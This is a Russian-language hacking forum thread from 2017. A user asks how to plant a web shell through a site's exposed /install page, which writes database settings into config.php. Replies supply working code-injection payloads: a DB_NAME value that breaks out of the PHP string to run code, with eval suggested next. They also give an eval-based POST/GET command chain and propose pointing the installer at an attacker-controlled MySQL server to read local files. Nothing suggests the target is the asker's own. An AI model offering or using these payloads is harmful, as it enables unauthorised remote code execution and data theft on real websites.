Прошу помочь с уязвимостью. PHP inj

Discussion in 'Песочница' started by weleor, 18 Sep 2017.

  1. weleor

    weleor New Member

    Joined:
    23 Oct 2016
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Добрый день!
    Есть сайт, у него есть директория /install где я могу изменять:
    1. Имя БД
    2. Имя юзера
    3. пасс
    4. хост
    Все это соотвественно сохраняется в конфиг.php такого вида:
    PHP:
    <?php
    return array(
        
    'DB_TYPE'=>'mysql',
        
    'DB_HOST'=>'localhost',
        
    'DB_NAME'=>'bdname',
        
    'DB_USER'=>'root',
        
    'DB_PWD'=>'root',
        
    'DB_PORT'=>'3306',
        
    'DB_PREFIX'=>'ez_',
        
    'SHOW_ERROR_MSG' => true,
    );
    ?>
    Можно ли как-то заинклудить своя Шелл в этот конфиг через форму в /install и потом запустить сам Config.php со своим шеллом?
     
  2. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,066
    Likes Received:
    1,565
    Reputations:
    40
    Можешь залить шелл. Но тут 'DB_HOST'=>'localhost'
     
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Если конфиг точно пишется в файл, то можно попробовать записать DB_NAME так:
    PHP:
    '.phpcredits(),//
    Если при обращении к конфигу выведется phpcredits, то можно заменить его на eval. Но скорее всего кавычка будет эскейпиться.

    Может писать все креды. Поэтому есть смысл пробовать вариант инсталла на удалённый сервер. И чтение локальных файлов на мускул клиенте, если пых старенький.
     
    #3 crlf, 24 Sep 2017
    Last edited: 24 Sep 2017
  4. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,066
    Likes Received:
    1,565
    Reputations:
    40
    Я чё та не до конца прочитал.... Ты о способе локал дата, с фейк сервером?
     
  5. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Да, один из вариантов, в случае фейла с инъекцией.
     
  6. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,066
    Likes Received:
    1,565
    Reputations:
    40
    Ну да, есть варианты, но надо тыкать. Согласен вообщем..
     
    erwerr2321 likes this.
  7. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,126
    Likes Received:
    25,618
    Reputations:
    147
    Да, тыкать надо по-любому!
     
  8. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    498
    Reputations:
    154
    Не мне тебя учить, что можно и без кавычки обойтись. Поэтому просто дополню:
    Вариантов куча, один из.
    Например постом отправляем
    Code:
    cmd=print(eval(current($_GET)));print(____);die;
    А в гет
    Code:
    /index.php?anyname=phpcredits();
     
    _________________________
  9. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Скорее всего нужно :) Так как вижу только один вариант, и тот, только в "благоприятных" условиях возможен:

    PHP:
    <?php
    return array(
      
    'DB_TYPE'=>'mysql',
      
    'DB_HOST'=>'localhost',
      
    'DB_NAME'=>''.phpcredits(),//',
      
    'DB_USER'=>'root',
      
    'DB_PWD'=>'root',
      
    'DB_PORT'=>'3306',
      
    'DB_PREFIX'=>'ez_',
      
    'SHOW_ERROR_MSG' => true,
    );
    ?>
    В качестве альтернативы предложил ещё пару вариантов. Из которых, инсталл базы на подконтрольный сервер, с последующей эксплуатацией через данные поступающие из БД, кажется самым реальным из всех.

    Есть варианты когда тыкать не нужно? :D
     
  10. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,066
    Likes Received:
    1,565
    Reputations:
    40
    ага, когда есть логи, десйтвие -> результат/ К тому же не понятно как он может править конфиг.
     
  11. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Какие логи и для чего?

    Инсталляшка у него, которая пишет конфиг.
     
  12. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,066
    Likes Received:
    1,565
    Reputations:
    40
    ну. там что в водил, что получалось, куда в водил, вообщем когда есть вся информация. Тогда можно и не тыкать